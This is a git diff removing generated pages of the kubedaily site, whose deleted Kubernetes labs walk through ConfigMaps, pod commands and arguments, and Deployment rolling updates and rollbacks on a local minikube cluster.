- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/configmap/index.html b/public/k8s/configmap/index.html deleted file mode 100644 index 44e6cfe..0000000 --- a/public/k8s/configmap/index.html +++ /dev/null @@ -1,523 +0,0 @@ - - - - - - - - -ConfigMap · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

ConfigMap

-
-
- - -

craete index-html-configmap.yaml with following content

-
apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: index-html-configmap
-  namespace: default
-data:
-  index.html: |
-    <html>
-    <h1>Welcome</h1>
-    </br>
-    <h1>Hi! This is a configmap Index file </h1>
-    </html>    
-
➜  k8s101 git:(main) ✗ kubectl apply -f index-html-configmap.yaml
-configmap/index-html-configmap created
-

craete nginx.yaml with following content

-
apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: nginx-deployment
-  namespace: default
-spec:
-  selector:
-    matchLabels:
-      app: nginx
-  replicas: 2 
-  template:
-    metadata:
-      labels:
-        app: nginx
-    spec:
-      containers:
-      - name: nginx
-        image: nginx:latest
-        ports:
-        - containerPort: 80
-        volumeMounts:
-            - name: nginx-index-file
-              mountPath: /usr/share/nginx/html/
-      volumes:
-      - name: nginx-index-file
-        configMap:
-          name: index-html-configmap
-
➜  k8s101 git:(main) ✗ kubectl apply -f ngnix.yaml 
-deployment.apps/nginx-deployment created
-

craete nginx-service.yaml with following content

-

-apiVersion: v1
-kind: Service
-metadata:
-  name: nginx-service
-  namespace: default
-spec:
-  selector:
-    app: nginx
-  type: NodePort
-  ports:
-  - port: 80
-    nodePort: 32000
-    targetPort: 80
-
➜  k8s101 git:(main) ✗ kubectl apply -f nginx-service.yaml
-service/nginx-service created
-
➜  k8s101 git:(main) ✗ kubectl get svc
-NAME            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
-kubernetes      ClusterIP   10.96.0.1        <none>        443/TCP          14h
-nginx-service   NodePort    10.105.136.166   <none>        80:32000/TCP     49s
-web             NodePort    10.100.132.142   <none>        8080:30646/TCP   123m
-web2            NodePort    10.98.210.102    <none>        8080:31990/TCP   61m
-➜  k8s101 git:(main) ✗ 
-
➜  k8s101 git:(main) ✗ minikube service nginx-service
-|-----------|---------------|-------------|---------------------------|
-| NAMESPACE |     NAME      | TARGET PORT |            URL            |
-|-----------|---------------|-------------|---------------------------|
-| default   | nginx-service |          80 | http://192.168.49.2:32000 |
-|-----------|---------------|-------------|---------------------------|
-🏃  Starting tunnel for service nginx-service.
-|-----------|---------------|-------------|------------------------|
-| NAMESPACE |     NAME      | TARGET PORT |          URL           |
-|-----------|---------------|-------------|------------------------|
-| default   | nginx-service |             | http://127.0.0.1:53149 |
-|-----------|---------------|-------------|------------------------|
-🎉  Opening service default/nginx-service in default browser...
-❗  Because you are using a Docker driver on darwin, the terminal needs to be open to run it.
-

you will see output in browser

-
Welcome
-
-
-Hi! This is a configmap Index file
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/create-pod-with-command-and-arguments/index.html b/public/k8s/create-pod-with-command-and-arguments/index.html deleted file mode 100644 index 25e0dfe..0000000 --- a/public/k8s/create-pod-with-command-and-arguments/index.html +++ /dev/null @@ -1,484 +0,0 @@ - - - - - - - - -Create POD with Command and Arguments · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Create POD with Command and Arguments

-
-
- - -

kubectl explain pods.spec.containers.command

-
k8s101 git:(main) ✗ kubectl explain pods.spec.containers.command  
-KIND:     Pod
-VERSION:  v1
-
-FIELD:    command <[]string>
-
-DESCRIPTION:
-     Entrypoint array. Not executed within a shell. The container image's
-     ENTRYPOINT is used if this is not provided. Variable references $(VAR_NAME)
-     are expanded using the container's environment. If a variable cannot be
-     resolved, the reference in the input string will be unchanged. Double $$
-     are reduced to a single $, which allows for escaping the $(VAR_NAME)
-     syntax: i.e. "$$(VAR_NAME)" will produce the string literal "$(VAR_NAME)".
-     Escaped references will never be expanded, regardless of whether the
-     variable exists or not. Cannot be updated. More info:
-     https://kubernetes.io/docs/tasks/inject-data-application/define-command-argument-container/#running-a-command-in-a-shell
-➜  k8s101 git:(main) ✗ 
-

Create POD without any commands or arguments.

-

args in Kubernetes overrides CMD in the original docker image. -command in Kubernetes overrides ENTRYPOINT in the original docker image.

-
commands.yaml
-
apiVersion: v1
-kind: Pod
-metadata:
-  name: command
-spec:
-  containers:
-  -  image: busybox
-     name: count
-
➜  k8s101 git:(main) ✗ kubectl apply -f commands.yaml
-pod/command created
-
➜  k8s101 git:(main) ✗ kubectl get pods
-NAME         READY   STATUS             RESTARTS     AGE
-command      0/1     CrashLoopBackOff   1 (5s ago)   15s
-nginx-pod    1/1     Running            0            50m
-nginx-port   1/1     Running            0            156m
-webserver    1/1     Running            0            34m
-➜  k8s101 git:(main) ✗ kubectl exec -it command -- bash
-

Create POD with Command

-

Modify the POD contents to the following one.

-
apiVersion: v1
-kind: Pod
-metadata:
-  name: command2
-spec:
-  containers:
-  -  image: busybox
-     name: count
-     command: ["sleep","3600"]
-
➜  k8s101 git:(main) ✗ kubectl apply -f commands.yaml
-pod/command2 created
-
➜  k8s101 git:(main) ✗ kubectl get pods
-NAME       READY   STATUS    RESTARTS   AGE
-command    1/1     Running   0          67s
-➜  k8s101 git:(main) ✗ kubectl exec -it command2 -- sh
-/ # ls
-bin    dev    etc    home   lib    lib64  proc   root   sys    tmp    usr    var
-/ # 
-

Create POD with Command and Arguments

-

Modify the YAML file contents to the following one.

-
apiVersion: v1
-kind: Pod
-metadata:
-  name: command3
-spec:
-  containers:
-  -  image: busybox
-     name: count
-     command: ["sleep"]
-     args: ["3600"]
-
➜  k8s101 git:(main) ✗ kubectl apply -f commands.yaml 
-pod/command3 created
-
➜  k8s101 git:(main) ✗ kubectl get pods
-NAME       READY   STATUS    RESTARTS   AGE
-command    1/1     Running   0          3m18s
-command2   1/1     Running   0          2m34s
-command3   1/1     Running   0          14s
-

Create POD with Arguments

-

Modify the YAML file contents to the following one.

-
apiVersion: v1
-kind: Pod
-metadata:
-  name: command3
-spec:
-  containers:
-  - name: command3
-    image: debian
-    command: ["printenv"]
-    args: ["HOSTNAME", "KUBERNETES_PORT"]
-
➜  k8s101 git:(main) ✗ kubectl apply -f commands.yaml
-
➜  k8s101 git:(main) ✗ kubectl get pods
-➜  k8s101 git:(main) ✗ kubectl logs command3    
-command3
-tcp://10.96.0.1:443
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/deployments-and-replication/index.html b/public/k8s/deployments-and-replication/index.html deleted file mode 100644 index b9984a8..0000000 --- a/public/k8s/deployments-and-replication/index.html +++ /dev/null @@ -1,741 +0,0 @@ - - - - - - - - -Deployments and replication · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Deployments and replication

-
-
- - -

Kubectl explain Deployment

-
k8sworkshop git:(main) ✗ kubectl explain deployments
-KIND:     Deployment
-VERSION:  apps/v1
-
-DESCRIPTION:
-     Deployment enables declarative updates for Pods and ReplicaSets.
-
-FIELDS:
-   apiVersion   <string>
-     APIVersion defines the versioned schema of this representation of an
-     object. Servers should convert recognized schemas to the latest internal
-     value, and may reject unrecognized values. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
-
-   kind <string>
-     Kind is a string value representing the REST resource this object
-     represents. Servers may infer this from the endpoint the client submits
-     requests to. Cannot be updated. In CamelCase. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
-
-   metadata     <Object>
-     Standard object's metadata. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
-
-   spec <Object>
-     Specification of the desired behavior of the Deployment.
-
-   status       <Object>
-     Most recently observed status of the Deployment.
-
-➜  k8sworkshop git:(main) ✗ 
-

Kubectl explain Replicaset

-
➜  k8sworkshop git:(main) ✗ kubectl explain rs
-KIND:     ReplicaSet
-VERSION:  apps/v1
-
-DESCRIPTION:
-     ReplicaSet ensures that a specified number of pod replicas are running at
-     any given time.
-
-FIELDS:
-   apiVersion   <string>
-     APIVersion defines the versioned schema of this representation of an
-     object. Servers should convert recognized schemas to the latest internal
-     value, and may reject unrecognized values. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
-
-   kind <string>
-     Kind is a string value representing the REST resource this object
-     represents. Servers may infer this from the endpoint the client submits
-     requests to. Cannot be updated. In CamelCase. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
-
-   metadata     <Object>
-     If the Labels of a ReplicaSet are empty, they are defaulted to be the same
-     as the Pod(s) that the ReplicaSet manages. Standard object's metadata. More
-     info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
-
-   spec <Object>
-     Spec defines the specification of the desired behavior of the ReplicaSet.
-     More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
-
-   status       <Object>
-     Status is the most recently observed status of the ReplicaSet. This data
-     may be out of date by some window of time. Populated by the system.
-     Read-only. More info:
-     https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
-
-➜  k8sworkshop git:(main) ✗ 
-

Overview on Kubernetes Deployment

-

Kubernetes also provides Deployment resource that sits on top of ReplicaSets and enables declarative application updates.

-
    -
  • -

    When running Pods in datacenter, additional features may be needed such as scalability, updates and rollback etc which are offered by Deployments

    -
  • -
  • -

    A Deployment is a higher-level resource meant for deploying applications and updating them declaratively, instead of doing it through a -ReplicationController or a ReplicaSet, which are both considered lower-level concepts. -

    -
  • -
  • -

    When you create a Deployment, a ReplicaSet resource is created underneath. Replica-Sets replicate and manage pods, as well.

    -
  • -
  • -

    When using a Deployment, the actual pods are created and managed by the Deployment’s ReplicaSets, not by the Deployment directly

    -
  • -
-
Create Kubernetes Deployment resource
-

In the deployment spec, following properties are managed:

-
    -
  • replicas: explains how many copies of each Pod should be running
  • -
  • strategy: explains how Pods should be updated
  • -
  • selector: uses matchLabels to identify how labels are matched against the Pod
  • -
  • template: contains the pod specification and is used in a deployment to create Pods
  • -
  • scale deployment: kubectl scale deployment nginx-deployment --replicas 10
  • -
  • set image : kubectl set image deployment nginx-deployment nginx=nginx:1.91 --record
  • -
  • rollout undo: kubectl rollout undo deployment nginx-deployment
  • -
-

we will create a new deployment using kubectl using –dry-run so that actually a deployment is not created but just verified

-
➜ k8sworkshop git:(main) ✗ kubectl create deployment nginx-deploy --image=nginx --dry-run=client -o yaml > nginx-deploy.yml
-
--- Basic Template to cleanup
-
-[root@controller ~]# cat nginx-deploy.yml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  creationTimestamp: null
-  labels:
-    app: nginx-deploy
-  name: nginx-deploy
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: nginx-deploy
-  strategy: {}
-  template:
-    metadata:
-      creationTimestamp: null
-      labels:
-        app: nginx-deploy
-    spec:
-      containers:
-      - image: nginx
-        name: nginx
-        resources: {}
-
---- #Modify the contents of the deployment template
-# cat nginx-deploy.yml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    type: dev
-  name: nginx-deploy
-spec:
-  replicas: 2
-  selector:
-    matchLabels:
-      type: dev
-  template:
-    metadata:
-      labels:
-        type: dev
-    spec:
-      containers:
-      - image: nginx
-        name: nginx
-
➜  k8sworkshop git:(main) ✗ kubectl create -f nginx-deploy.yml
-deployment.apps/nginx-deploy created
-
➜  k8sworkshop git:(main) ✗ kubectl rollout status deployment nginx-deploy
-deployment "nginx-deploy" successfully rolled out
-
➜  k8sworkshop git:(main) ✗ kubectl get pods
-NAME                            READY   STATUS    RESTARTS   AGE
-nginx-deploy-66dc98fc6f-6ws8k   1/1     Running   0          37s
-nginx-deploy-66dc98fc6f-btk6j   1/1     Running   0          37s
-
kubectl describe Pod <NAME>
-➜  k8sworkshop git:(main) ✗ kubectl describe Pod nginx-deploy-66dc98fc6f-6ws8k 
-Name:             nginx-deploy-66dc98fc6f-6ws8k
-Namespace:        default
-Priority:         0
-Service Account:  default
-Node:             minikube/192.168.49.2
-Start Time:       Tue, 07 Mar 2023 02:12:20 +0530
-Labels:           pod-template-hash=66dc98fc6f
-                  type=dev
-Annotations:      <none>
-Status:           Running
-IP:               172.17.0.4
-IPs:
-  IP:           172.17.0.4
-Controlled By:  ReplicaSet/nginx-deploy-66dc98fc6f
-Containers:
-  nginx:
-    Container ID:   docker://79a285bd1e02d96c1880958d20aa4cf64060c630ecb03dac37665994a8b4574a
-    Image:          nginx
-    Image ID:       docker-pullable://nginx@sha256:aa0afebbb3cfa473099a62c4b32e9b3fb73ed23f2a75a65ce1d4b4f55a5c2ef2
-    Port:           <none>
-    Host Port:      <none>
-    State:          Running
-      Started:      Tue, 07 Mar 2023 02:12:25 +0530
-    Ready:          True
-    Restart Count:  0
-    Environment:    <none>
-    Mounts:
-      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-7wpgb (ro)
-Conditions:
-  Type              Status
-  Initialized       True 
-  Ready             True 
-  ContainersReady   True 
-  PodScheduled      True 
-Volumes:
-  kube-api-access-7wpgb:
-    Type:                    Projected (a volume that contains injected data from multiple sources)
-    TokenExpirationSeconds:  3607
-    ConfigMapName:           kube-root-ca.crt
-    ConfigMapOptional:       <nil>
-    DownwardAPI:             true
-QoS Class:                   BestEffort
-Node-Selectors:              <none>
-Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
-                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
-Events:
-  Type    Reason     Age   From               Message
-  ----    ------     ----  ----               -------
-  Normal  Scheduled  93s   default-scheduler  Successfully assigned default/nginx-deploy-66dc98fc6f-6ws8k to minikube
-  Normal  Pulling    92s   kubelet            Pulling image "nginx"
-  Normal  Pulled     88s   kubelet            Successfully pulled image "nginx" in 4.282948252s
-  Normal  Created    88s   kubelet            Created container nginx
-  Normal  Started    88s   kubelet            Started container nginx
-➜  k8sworkshop git:(main) ✗ 
-
➜  k8sworkshop git:(main) ✗ kubectl get rs
-NAME                      DESIRED   CURRENT   READY   AGE
-nginx-deploy-66dc98fc6f   2         2         2       3m30s
-
Using Kubernetes RollingUpdate
-

You have two ways of updating all those pods. You can do one of the following:

-
    -
  • Recreate: Delete all existing pods first and then start the new ones. This will lead to a temporary unavailability.
  • -
  • RollingUpdate: Updates Pod one at a time to guarantee availability of the application. This is the preferred approach and you can further tune its behaviour.
  • -
-

The RollingUpdate strategy options are used to guarantee a certain minimal and maximal amount of Pods to be always available:

-
    -
  • maxUnavailable: The maximum number of Pods that can be unavailable during updating. The value could be a percentage (the default is 25%).
  • -
  • maxSurge: The maximum number of Pods that can be created over the desired number of ReplicaSet during updating. the value of maxSurge cannot be 0
  • -
-
vim rolling-nginx.yml
-----
-# cat rolling-nginx.yml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: rolling-nginx
-spec:
-  replicas: 4
-  strategy:
-    type: RollingUpdate
-    rollingUpdate:
-      maxSurge: 1
-      maxUnavailable: 1
-  selector:
-    matchLabels:
-      app: rolling-nginx
-  template:
-    metadata:
-      labels:
-        app: rolling-nginx
-    spec:
-      containers:
-      - name: nginx
-        image: nginx:1.9
-
➜  k8s101 git:(main) ✗ kubectl create -f rolling-nginx.yml
-deployment.apps/rolling-nginx created
-
➜  k8s101 git:(main) ✗ kubectl get pods
-NAME                             READY   STATUS              RESTARTS   AGE
-nginx-deploy-66dc98fc6f-6ws8k    1/1     Running             0          15m
-nginx-deploy-66dc98fc6f-btk6j    1/1     Running             0          15m
-rolling-nginx-77f89bcf9c-2cgps   0/1     ContainerCreating   0          13s
-rolling-nginx-77f89bcf9c-l7cvh   0/1     ContainerCreating   0          13s
-rolling-nginx-77f89bcf9c-nx888   0/1     ContainerCreating   0          13s
-rolling-nginx-77f89bcf9c-xn2z5   0/1     ContainerCreating   0          13s
-
➜  k8s101 git:(main) ✗ kubectl get deployments
-NAME            READY   UP-TO-DATE   AVAILABLE   AGE
-nginx-deploy    2/2     2            2           15m
-rolling-nginx   1/4     4            1           50s
-
➜  k8s101 git:(main) ✗ kubectl get event --field-selector involvedObject.name=rolling-nginx-77f89bcf9c-xn2z5 
-LAST SEEN   TYPE     REASON      OBJECT                               MESSAGE
-99s         Normal   Scheduled   pod/rolling-nginx-77f89bcf9c-xn2z5   Successfully assigned default/rolling-nginx-77f89bcf9c-xn2z5 to minikube
-99s         Normal   Pulling     pod/rolling-nginx-77f89bcf9c-xn2z5   Pulling image "nginx:1.9"
-43s         Normal   Pulled      pod/rolling-nginx-77f89bcf9c-xn2z5   Successfully pulled image "nginx:1.9" in 56.078369942s
-43s         Normal   Created     pod/rolling-nginx-77f89bcf9c-xn2z5   Created container nginx
-43s         Normal   Started     pod/rolling-nginx-77f89bcf9c-xn2z5   Started container nginx
-

Check rollout history

-

But why CHANGE-CAUSE is showing NONE? It is because we have not used –record while creating our deployment. -The –record argument will add the command under CHANGE-CAUSE for each revision history

-
 k8s101 git:(main) ✗ kubectl rollout history deployment rolling-nginx
-deployment.apps/rolling-nginx 
-REVISION  CHANGE-CAUSE
-1         <none>
-
-➜  k8s101 git:(main) ✗ kubectl delete deployment rolling-nginx
-deployment.apps "rolling-nginx" deleted
-

this time I will use –record along with kubectl create:

-
k8s101 git:(main) ✗ kubectl create -f rolling-nginx.yml --record
-Flag --record has been deprecated, --record will be removed in the future
-deployment.apps/rolling-nginx created
-
➜  k8s101 git:(main) ✗ kubectl rollout history deployment rolling-nginx
-deployment.apps/rolling-nginx 
-REVISION  CHANGE-CAUSE
-1         kubectl create --filename=rolling-nginx.yml --record=true
-
➜  k8s101 git:(main) ✗ kubectl set image deployment rolling-nginx nginx=nginx:1.15 --record
-Flag --record has been deprecated, --record will be removed in the future
-deployment.apps/rolling-nginx image updated
-

Monitor the rolling update status

-

To monitor the rollout status you can use:

-
➜  k8s101 git:(main) ✗ kubectl set image deployment rolling-nginx nginx=nginx:1.16 --record
-Flag --record has been deprecated, --record will be removed in the future
-deployment.apps/rolling-nginx image updated
-
➜  k8s101 git:(main) ✗ kubectl rollout pause deployment rolling-nginx
-deployment.apps/rolling-nginx paused
-
➜  k8s101 git:(main) ✗ kubectl rollout status deployment rolling-nginx
-deployment "rolling-nginx" successfully rolled out
-
➜  k8s101 git:(main) ✗ kubectl get pods -l app=rolling-nginx
-NAME                             READY   STATUS    RESTARTS   AGE
-rolling-nginx-55fc56899f-8hlm4   1/1     Running   0          2m30s
-rolling-nginx-55fc56899f-g4b6p   1/1     Running   0          2m30s
-rolling-nginx-55fc56899f-hnbs8   1/1     Running   0          2m22s
-rolling-nginx-55fc56899f-jngcd   1/1     Running   0          2m21s
-
➜  k8s101 git:(main) ✗ kubectl rollout resume deployment rolling-nginx
-deployment.apps/rolling-nginx resumed
-

Rolling back (undo) an update

-

To monitor the rollout status you can use:

-
➜  k8s101 git:(main) ✗ kubectl rollout history deployment rolling-nginx
-deployment.apps/rolling-nginx 
-REVISION  CHANGE-CAUSE
-1         kubectl create --filename=rolling-nginx.yml --record=true
-2         kubectl set image deployment rolling-nginx nginx=nginx:1.15 --record=true
-3         kubectl set image deployment rolling-nginx nginx=nginx:1.16 --record=true
-
➜  k8s101 git:(main) ✗ kubectl rollout undo deployment rolling-nginx --to-revision=2
-deployment.apps/rolling-nginx rolled back
-
➜  k8s101 git:(main) ✗ kubectl rollout status deployment rolling-nginx
-deployment "rolling-nginx" successfully rolled out
-
➜  k8s101 git:(main) ✗ kubectl delete pod --all 
-pod "nginx-deploy-66dc98fc6f-6ws8k" deleted
-pod "nginx-deploy-66dc98fc6f-btk6j" deleted
-pod "rolling-nginx-b746d459b-874mv" deleted
-pod "rolling-nginx-b746d459b-gtgpk" deleted
-pod "rolling-nginx-b746d459b-txc5j" deleted
-pod "rolling-nginx-b746d459b-vw4rf" deleted
-➜  k8s101 git:(main) ✗ kubectl delete deployment --all 
-deployment.apps "nginx-deploy" deleted
-deployment.apps "rolling-nginx" deleted
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/k8s/index.html b/public/k8s/index.html deleted file mode 100644 index d62d07f..0000000 --- a/public/k8s/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - https://kubedaily.com/k8s/overview/ - - - - - - diff --git a/public/k8s/index.xml b/public/k8s/index.xml deleted file mode 100644 index 3835148..0000000 --- a/public/k8s/index.xml +++ /dev/null @@ -1,97 +0,0 @@ - - - - K8s on kubedaily - https://kubedaily.com/k8s/ - Recent content in K8s on kubedaily - Hugo -- gohugo.io - en - - - Basics of Pod - https://kubedaily.com/k8s/basics-of-pod/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/basics-of-pod/ - 0. What is POD learn via Kubectl Explain kubectl explain pod KIND: Pod VERSION: v1 DESCRIPTION: Pod is a collection of containers that can run on a host. This resource is created by clients and scheduled onto hosts. FIELDS: apiVersion &lt;string&gt; APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources kind &lt;string&gt; Kind is a string value representing the REST resource this object represents. - - - Pre-requisit for this lab - https://kubedaily.com/k8s/pre-requisit-for-this-lab/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/pre-requisit-for-this-lab/ - Install Minikube https://minikube.sigs.k8s.io/docs/start/ // i&#39;m using mac so my installation step will be diffeent from you folks curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-amd64 sudo install minikube-darwin-amd64 /usr/local/bin/minikube ceate cluster using minikube ➜ k8sworkshop git:(main) ✗ minikube start 😄 minikube v1.28.0 on Darwin 13.2.1 (arm64) ✨ Using the docker driver based on existing profile 👍 Starting control plane node minikube in cluster minikube 🚜 Pulling base image ... 🔄 Restarting existing docker container for &#34;minikube&#34; . - - - ConfigMap - https://kubedaily.com/k8s/configmap/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/configmap/ - craete index-html-configmap.yaml with following content apiVersion: v1 kind: ConfigMap metadata: name: index-html-configmap namespace: default data: index.html: | &lt;html&gt; &lt;h1&gt;Welcome&lt;/h1&gt; &lt;/br&gt; &lt;h1&gt;Hi! This is a configmap Index file &lt;/h1&gt; &lt;/html&gt; ➜ k8s101 git:(main) ✗ kubectl apply -f index-html-configmap.yaml configmap/index-html-configmap created craete nginx.yaml with following content apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment namespace: default spec: selector: matchLabels: app: nginx replicas: 2 template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:latest ports: - containerPort: 80 volumeMounts: - name: nginx-index-file mountPath: /usr/share/nginx/html/ volumes: - name: nginx-index-file configMap: name: index-html-configmap ➜ k8s101 git:(main) ✗ kubectl apply -f ngnix. - - - Create POD with Command and Arguments - https://kubedaily.com/k8s/create-pod-with-command-and-arguments/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/create-pod-with-command-and-arguments/ - kubectl explain pods.spec.containers.command k8s101 git:(main) ✗ kubectl explain pods.spec.containers.command KIND: Pod VERSION: v1 FIELD: command &lt;[]string&gt; DESCRIPTION: Entrypoint array. Not executed within a shell. The container image&#39;s ENTRYPOINT is used if this is not provided. Variable references $(VAR_NAME) are expanded using the container&#39;s environment. If a variable cannot be resolved, the reference in the input string will be unchanged. Double $$ are reduced to a single $, which allows for escaping the $(VAR_NAME) syntax: i. - - - Deployments and replication - https://kubedaily.com/k8s/deployments-and-replication/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/deployments-and-replication/ - Kubectl explain Deployment k8sworkshop git:(main) ✗ kubectl explain deployments KIND: Deployment VERSION: apps/v1 DESCRIPTION: Deployment enables declarative updates for Pods and ReplicaSets. FIELDS: apiVersion &lt;string&gt; APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources kind &lt;string&gt; Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. - - - Ingress Controller - https://kubedaily.com/k8s/ingress-controller/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/ingress-controller/ - enable ingress addon k8s101 git:(main) ✗ minikube addons enable ingress 💡 ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub. You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS 💡 After the addon is enabled, please run &#34;minikube tunnel&#34; and your ingress resources would be available at &#34;127.0.0.1&#34; ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1 ▪ Using image k8s.gcr.io/ingress-nginx/controller:v1.2.1 ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1 🔎 Verifying ingress addon... 🌟 The &#39;ingress&#39; addon is enabled ➜ k8s101 git:(main) ✗ verify ngnix controller running ➜ k8s101 git:(main) ✗ kubectl get pods -n ingress-nginx NAME READY STATUS RESTARTS AGE ingress-nginx-admission-create-fxzbs 0/1 Completed 0 4m7s ingress-nginx-admission-patch-jw98n 0/1 Completed 1 4m7s ingress-nginx-controller-5959f988fd-tv8x8 1/1 Running 0 4m7s verify all pods running ➜ k8s101 git:(main) ✗ kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE coredns-565d847f94-bl9qz 1/1 Running 0 12h etcd-minikube 1/1 Running 0 12h kube-apiserver-minikube 1/1 Running 0 12h kube-controller-manager-minikube 1/1 Running 0 12h kube-proxy-qj7s7 1/1 Running 0 12h kube-scheduler-minikube 1/1 Running 0 12h storage-provisioner 1/1 Running 2 (12h ago) 12h Deploy Hello World App ➜ k8s101 git:(main) ✗ kubectl create deployment web --image=gcr. - - - Kubernetes - https://kubedaily.com/k8s/overview/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/overview/ - Table of Content Title Link 1.Pre-requisit for this lab lab 2.Basics of Pod lab 3.Create POD with Command and Arguments lab 4.Multi-Container Pods lab 5.Deployments &amp; replication lab 6.Labels &amp; Selectors lab 7.Kubernetes Service lab 8.Service Type: NodePort,ClusterIP,LoadBalancer lab 9.Ingress Controller lab 10.ConfigMap lab What next &raquo; -[kubernetes Security] [helm workshop] [Service Mesh] - - - Kubernetes Service - https://kubedaily.com/k8s/kubernetes-service/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/kubernetes-service/ - kubectl explain svc ➜ k8s101 git:(main) ✗ kubectl explain svc KIND: Service VERSION: v1 DESCRIPTION: Service is a named abstraction of software service (for example, mysql) consisting of local port (for example 3306) that the proxy listens on, and the selector that determines which pods will answer requests sent through the proxy. FIELDS: apiVersion &lt;string&gt; APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. - - - Labels and Selectors - https://kubedaily.com/k8s/labels-and-selectors/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/labels-and-selectors/ - Labels - Maps (aka Dictionaries) ➜ k8s101 git:(main) ✗ kubectl explain deployment.metadata.labels KIND: Deployment VERSION: apps/v1 FIELD: labels &lt;map[string]string&gt; DESCRIPTION: Map of string keys and values that can be used to organize and categorize (scope and select) objects. May match selectors of replication controllers and services. More info: http://kubernetes.io/docs/user-guide/labels Labels are attached to Kubernetes objects and are simple key: value pairs or maps(dictionary). Labels are used to store identifying information about a thing that you might need to query against. - - - Multi-Container Pods - https://kubedaily.com/k8s/multi-container-pods/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/multi-container-pods/ - Why does Kubernetes allow more than one container in a Pod Containers in a Pod runs on a &ldquo;logical host&rdquo;: they use the same network namespace (same IP address and port space), they can use shared volumes using several containers for an application is simpler to use, more transparent, and allows decoupling software dependencies Use Cases for Multi-Container Pods The primary purpose of a multi-container Pod is to support co-located, co-managed helper processes for a main program - - - RBAC - https://kubedaily.com/k8s/rbac/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/rbac/ - Role Based Access Control (RBAC) Role-Based Access Control (RBAC) in Kubernetes is a method of regulating access to computer or network resources based on the roles of individual users within an enterprise. In the context of Kubernetes, RBAC allows you to control who has access to the Kubernetes API and what they can do with those resources -- Rules: A rule is a set of operations (verbs) that can be carried out on a group of resources which belong to different API Groups. - - - Service Type - NodePort,ClusterIP,LoadBalancer - https://kubedaily.com/k8s/service-type-nodeportclusteriploadbalancer/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/service-type-nodeportclusteriploadbalancer/ - Service Type1: NodePort NodePort service helps expose the Service on each Node’s IP at a static port (the NodePort). NodePort The port is available to all the workers in the cluster. A ClusterIP Service, to which the NodePort Service routes are automatically created. One would be able to contact the NodePort Service, from outside the cluster, by requesting :. The port on the POD is called the 